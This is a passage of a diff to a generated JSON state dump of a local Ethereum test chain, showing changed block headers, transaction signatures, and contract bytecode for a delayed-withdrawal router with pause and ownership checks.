39081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000000000000000000000000000000000000000000000169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea264697066735822122006da243d7e477e428ad2745c456c9ef84e039e1a55dc000ea6c524cb236906b864736f6c634300081c00330000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6", - "r": "0x85fb4b287dcaefd170b3535e1c6965248f335a6e31333c65a076dc23ee98aa3d", - "s": "0x4975e917021fff9eeda391ad14dc68c415b011dc2ad37c347b5d19ea40d28312", + "input": "0x9623609d0000000000000000000000008a791620dd6260079bf849dc5567adc3f2fdc31800000000000000000000000068b1d87f95878fe05b998f19b66f4baba5de1aed00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084eb990c59000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000", + "r": "0x8e742eeb3501951f3637ef8abf577c12b775568e211ef0dfbe56d2fb89698a02", + "s": "0x1a316d4767931d39813d98ddcf17a38c0889b59f73dd964d86c784d658734b48", "yParity": "0x0", - "hash": "0x3738015081d40ba03e6a0e030338a2f38282eadb22700ec871dae465fbc46873" + "hash": "0xa1e0398c2dde583fe8c57690419d4f2ec2dee733e02fd823bd1dd6bdb141f9db" + } + }, + "impersonated_sender": null + } + ], + "ommers": [] + }, + { + "header": { + "parentHash": "0x6ecf269cb665a182387c2b67df9eec0a1a7b1122aee03d2a92bb38e42b44b44a", + "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + "beneficiary": "0x0000000000000000000000000000000000000000", + "stateRoot": "0x8c5f597c20e0c6529957f555a585b25a7f8d8a657580f6c7ecb69720071e47f1", + "transactionsRoot": "0xfd738334e10c0a0e19fda6f21d44d798e12aa6146e02aca4159f437b03181516", + "receiptsRoot": "0xff929ae4f16778ff63bcf795ca90d6b76a5a670e5a7f6d87d28420cff1dfd9a2", + "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000008000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000", + "difficulty": "0x0", + "number": "0xf", + "gasLimit": "0x1c9c380", + "gasUsed": "0x1993c0", + "timestamp": "0x672a8e17", + "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x0000000000000000", + "baseFeePerGas": "0xbd28d50", + "blobGasUsed": "0x0", + "excessBlobGas": "0x0", + "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "extraData": "0x" + }, + "transactions": [ + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x12", + "gas": "0x213d91", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "value": "0x0", + "accessList": [], + "input": "0x60a060405234801561001057600080fd5b50604051611eb9380380611eb983398101604081905261002f9161019c565b6001600160a01b0381166100c55760405162461bcd60e51b815260206004820152604c60248201527f44656c617965645769746864726177616c526f757465722e636f6e737472756360448201527f746f723a205f656967656e506f644d616e616765722063616e6e6f742062652060648201526b7a65726f206164647265737360a01b608482015260a4015b60405180910390fd5b6001600160a01b0381166080526100da6100e0565b506101cc565b600054610100900460ff16156101485760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100bc565b60005460ff908116101561019a576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6000602082840312156101ae57600080fd5b81516001600160a01b03811681146101c557600080fd5b9392505050565b608051611ccb6101ee600039600081816101fa0152610be00152611ccb6000f3fe60806040526004361061014b5760003560e01c806385594e58116100b6578063e4f4f8871161006f578063e4f4f887146103cc578063e5db06c014610405578063eb990c5914610425578063ecb7cb1b14610445578063f2fde38b14610472578063fabc1cbc1461049257600080fd5b806385594e5814610317578063886f1195146103445780638da5cb5b14610364578063c0db354c14610382578063ca661c0414610395578063d44e1b76146103ac57600080fd5b806350f73e7c1161010857806350f73e7c14610254578063595c6a67146102785780635ac86ab71461028d5780635c975abb146102cd578063715018a6146102e257806375608896146102f757600080fd5b806310d67a2f14610150578063136439dd146101725780631f39d87f146101925780633e1de008146101c85780634665bcda146101e85780634d50f9a414610234575b600080fd5b34801561015c57600080fd5b5061017061016b366004611948565b6104b2565b005b34801561017e57600080fd5b5061017061018d36600461196c565b61056e565b34801561019e57600080fd5b506101b26101ad366004611948565b6106ad565b6040516101bf91906119a3565b60405180910390f35b3480156101d457600080fd5b506101b26101e3366004611948565b610893565b3480156101f457600080fd5b5061021c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101bf565b34801561024057600080fd5b5061017061024f36600461196c565b6109ce565b34801561026057600080fd5b5061026a60c95481565b6040519081526020016101bf565b34801561028457600080fd5b506101706109df565b34801561029957600080fd5b506102bd6102a83660046119f1565b609854600160ff9092169190911b9081161490565b60405190151581526020016101bf565b3480156102d957600080fd5b5060985461026a565b3480156102ee57600080fd5b50610170610aa6565b34801561030357600080fd5b506102bd610312366004611a14565b610aba565b34801561032357600080fd5b50610337610332366004611a14565b610b3d565b6040516101bf9190611a40565b34801561035057600080fd5b5060975461021c906001600160a01b031681565b34801561037057600080fd5b506033546001600160a01b031661021c565b610170610390366004611a4e565b610bbd565b3480156103a157600080fd5b5061026a62034bc081565b3480156103b857600080fd5b506101706103c736600461196c565b610e7c565b3480156103d857600080fd5b5061026a6103e7366004611948565b6001600160a01b0316600090815260ca602052604090206001015490565b34801561041157600080fd5b50610170610420366004611a14565b610f0e565b34801561043157600080fd5b50610170610440366004611a87565b610fa1565b34801561045157600080fd5b50610465610460366004611948565b6110c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000000000000000000000000000000000000000000000169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea26469706673582212208638e66f5dce0ad66ff3676e3d1ac48bc288949bb5c5e4f6ec1f16e582f0f63064736f6c634300081b00330000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6", + "r": "0x2a16d40b525d9f58032a73c10b77d55df3bc40a7792d0f1a9b40a8180299cbf3", + "s": "0x45359bcb26e0a29ca0e9e8ee4c4791c516a7fd9b268553ad8ca568ec95d10dad", + "yParity": "0x1", + "hash": "0x7b2ad9854eb247aabf66341463e3cce73d6236a6016d1af453b6abddb1289e37" } }, "impersonated_sender": null @@ -1459,22 +1510,22 @@ }, { "header": { - "parentHash": "0x8eb1c59d065e15379942853c55bc35bff71cfdb061fd2e43925e4b69d77906a1", + "parentHash": "0xe18d3e619ae1bcd608138dc1aae91306a15f8224406834eee42a0ca27b41df42", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x95351f2e6df2f9c900430751f0f37744987d60304ba50ef9c0c02baebf02fffc", + "stateRoot": "0xecb2965e63e4a4f15fac2d655ef8416d28614ff4776fc94d87924aa28b2a12d1", "transactionsRoot": "0xa1418ab2a8cb9d9fa6c89f7d99cbec49cfdf9c534a28bc797b6c7a1225c537ee", "receiptsRoot": "0xcc324be81a0f11b95d7e6f6bbd9767d593e6afce3bb3bc4ff6bfbcbb179a782b", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", "logsBloom": "0x00000000000000000000000040000000400000000000000000c00000000000000000000000000000000000000000080000000000000000100000000000000001000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800000004000000000000040000000000400000000108000000000000000000000000000000000080000000000000000000000000000000040000000002000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000000000020000000000000000000000000000000000000000000000000000000002000400000", "difficulty": "0x0", - "number": "0xc", + "number": "0x10", "gasLimit": "0x1c9c380", "gasUsed": "0x28900", - "timestamp": "0x67212bff", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x11e5d199", + "baseFeePerGas": "0xa82826f", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -1506,22 +1557,22 @@ }, { "header": { - "parentHash": "0x827e43b8d215ee7d37698d40bc036278f8eb90f0355ff831dd25fd32ebd22d88", + "parentHash": "0x454a079130975a1d475405c53560eb89b5146084b223a2b600398f54750c5d4a", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x8dfeee54403bbedf42cb6a17114f03b120c302f111a9bece28ccd16aa86f1d6f", - "transactionsRoot": "0x00858a3a979a5a8e60985b6bb8ed461802aeae3a683233913df921317c6f884f", - "receiptsRoot": "0xc24b358bd8f01f0a27e9dfd990532cd0333f2a673ceef0dd1e1fbb4de37b200b", + "stateRoot": "0xeaf1b0bfd6d8003d3645222214b7a1d252f16b5bb883ba769bffdc9858af8836", + "transactionsRoot": "0x7f59802787f38feebe012813d02d2e47d626800414b255107e99d1322503fc8f", + "receiptsRoot": "0x2bb2403f19597d172b2cc8aa1599893e87e720894fcbc5e61d614f615aefd879", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000", + "logsBloom": "0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0x9", + "number": "0x1", "gasLimit": "0x1c9c380", - "gasUsed": "0x320478", - "timestamp": "0x67212bff", + "gasUsed": "0x6c389", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - 